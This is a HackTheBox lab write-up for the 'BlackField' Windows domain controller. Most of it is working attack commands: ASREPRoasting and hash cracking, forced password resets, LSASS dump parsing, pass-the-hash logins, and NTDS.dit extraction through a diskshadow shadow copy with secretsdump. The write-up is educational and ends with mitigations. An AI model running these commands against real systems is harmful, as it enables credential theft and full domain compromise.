BlackField

Overview

Machine: BlackField Platform: HackTheBox Difficulty: Hard OS: Windows

This machine focuses on exploiting Kerberos pre-authentication and ASREPRoasting to gain a foothold, followed by ForceChangePassword abuse and DPAPI/LSASS credential extraction, culminating in NTDS.dit extraction via a Shadow Copy and SeBackupPrivilege abuse.

Kill Chain

Kerberos Pre-Authentication Enumeration
ASREPRoasting -> Credentials Disclosure(support)
SMB Share Enumeration -> Forensic Data Exposure
Credential Discovery via LSASS Memory Dump
Pass-the-Hash -> Initial Access (svc_backup)
Privilege Enumeration (Backup Operators)
Abuse of SeBackupPrivilege -> NTDS.dit Extraction -> Domain Compromise

Needed Tools

Recon

Perform an Nmap scan to identify open ports and running services.

nmap -Pn -sCV 10.129.229.17

Add the target IP Adress to the local /etc/hosts file.

echo "10.129.229.17 blackfield.local" | sudo tee -a /etc/hosts

echo "10.129.229.17 dc01.blackfield.local" | sudo tee -a /etc/hosts

Enumeration

list shares using smbmap

smbmap -u 'guest' -p '' -H blackfield.local

list files recursively on profiles share

smbclient //blackfield.local/profiles$ -U guest -p
recurse ON
prompt OFF
ls

list users using smb rid-brute

nxc smb blackfield.local -u "guest" -p "" --rid-brute

Initial Access

Check kerberos-pre-authentication with GetNPUsers

impacket-GetNPUsers BLACKFIELD/ -usersfile user.txt -no-pass -dc-ip 10.129.229.17 -format hashcat

crack found hash with hashcat

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

check available shares with smbmap

smbmap -u 'support@blackfield.local' -p '******' -H blackfield.local

–> No new available shares

Start Bloodhound-CE
synchronize time with Active Directory

sudo net time set -S 10.129.229.17

Request Bloodhound Data with bloodhound-ingestor

bin/bloodhound-ce-python -u "support@blackfield.local" -p "******" -d blackfield.local -dc dc01.blackfield.local -ns 10.129.229.17 -c All --dns-timeout 10

import the requested bloodhound data in bloodhound-ce
check the user support in bloodhound –> user has permissions “ForceChangePassword” on User Audit2020@blackfield.local

Changed the Password of User Audit2020

bin/python bin/changepasswd.py 'BLACKFIELD.LOCAL/audit2020@10.129.229.17' -newpass 'testtest' -altuser 'BLACKFIELD.LOCAL/support' -altpass '******' -dc-ip 10.129.229.17 -reset

Requested all available shares as user audit2020
checked every available file in the share forensic

smbclient //blackfield.local/forensic -U 'audit2020' -p 'testtest'

downloaded the file “lsass.zip”

smbclient //10.129.229.17/forensic -U 'audit2020%testtest' -t 300 -m SMB3 -c "cd memory_analysis; get lsass.zip"

extracted the zip file –>lsass.DMP file gets created

Technical Context

lsass.exe (Local Security Authority Subsystem Service) is a core Windows process responsible for enforcing security policy on the system. Critically, it also caches credential material in memory for currently and recently logged-on users, so they don’t have to re-authenticate for every single action. When someone creates a memory dump of the lsass.exe process (e.g. via Task Manager “Create dump file”, procdump, or comsvcs.dll MiniDump), that dump file is essentially a snapshot of everything LSASS was holding in memory at that moment — including:

NTLM hashes of logged-on users
Kerberos tickets and keys (TGTs, session keys, AES keys)
Sometimes cleartext passwords, if WDigest or similar legacy authentication protocols are enabled
DPAPI master keys, used to decrypt other protected data (saved browser credentials, certificates, etc.)
Created a new folder
Created Python Virtual Environment

python -m venv .

Installed pypykatz

bin/pip install pypykatz

Technical Context

A .dmp file generated from lsass.exe constitutes a raw Windows Minidump — a structured binary format containing process memory, thread contexts, loaded modules, and various metadata streams. The credential material embedded within is stored in internal LSASS data structures (such as MSV1_0 credential caches, Kerberos ticket structures, and DPAPI blobs), following largely undocumented internal Windows layouts that cannot be parsed manually or through simple text-based tools. Mimikatz was the original tool to reverse-engineer these structures, via its sekurlsa::minidump and sekurlsa::logonpasswords commands, but remains Windows-only. pypykatz provides a Python-based reimplementation of the same parsing logic, offering several practical advantages:

Fully offline analysis from a Linux attack host, without requiring further interaction with the compromised system
Reduced detection risk, as no additional execution occurs on the target
Cross-platform compatibility, allowing exfiltrated dump files to be analyzed immediately upon retrieval

Executed pypykatz on the DMP file

bin/pypykatz lsa minidump lsass.DMP

Tried to crack the NT hash of the lsass.DMP file

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

–>No Password was found

Executed Winrm with pass-the-hash

evil-winrm -i 10.129.229.17 -u svc_backup -H ******

Extracted the userflag

Privilege escalation

checked the privileges of the user svc_backup
Permission “SeBackupPrivilege” is granted to the user
Extracted SAM and SYSTEM File

reg save hklm\sam SAM
reg save hklm\system SYSTEM

Download SAM and SYSTEM Files

download SAM
download SYSTEM

Extracted the hashes with secretsdump

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Executed WinRm with Pass-the-Hash –>Not working
Executed NXC with Pass-the-Hash –>Not working

Technical Context

After extracting SAM and SYSTEM and processing them with secretsdump, the resulting NT hash corresponds to the local Administrator account — an identity that only exists within the scope of that individual host. Local SAM credentials are inherently machine-bound; they authenticate against the local security database of the host they were extracted from and carry no authority over the Active Directory domain itself. This distinction matters because local Administrator and Domain Administrator are architecturally separate identities, even when they share a common username. As a result, subsequent attempts to authenticate via Pass-the-Hash using this local hash (both through WinRM and NetExec) failed, since neither service accepted local credentials for what was effectively a domain-authentication context on the Domain Controller. To obtain credentials with actual domain-wide authority, it was necessary to access NTDS.dit — the Active Directory database file located on the Domain Controller, which stores the credential material for every domain principal, including the Domain Administrator account and krbtgt. Unlike the local SAM database, NTDS.dit governs authentication across the entire domain, making it the correct target for privilege escalation in an AD environment.

Checked the System again
Created script.txt to extract the ntds.dit file

printf 'set metadata C:\\Windows\\Temp\\meta.cab\r\nset context persistent nowriters\r\nadd volume c: alias cdrive\r\ncreate\r\nexpose %%cdrive%% z:\r\n' > script.txt

Executed unix2dos on the Script

unix2dos script.txt

Uploaded the Script to the Server

upload script.txt

Executed script.txt with diskshadow

diskshadow /s C:\Windows\Temp\script.txt

Copy ntds.dit with robocopy

robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit

Download ntds.dit with winrm

download C:\Windows\Temp\ntds.dit

Executed secretsdump to extract the password hash of every user

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Execute WinRm with pass-the-hash as Administrator

evil-winrm -i blackfield.local -u administrator -H ******

extract the root flag

Possible Mitigation

Delete Flag “DONT_REQ_PREAUTH” on User support
configure profiles$ so not every user has read permissions
dont make sensible data public on shares
delete “ForceChangePassword” Permission on user support
revoke SeBackupPrivilege from svc_backup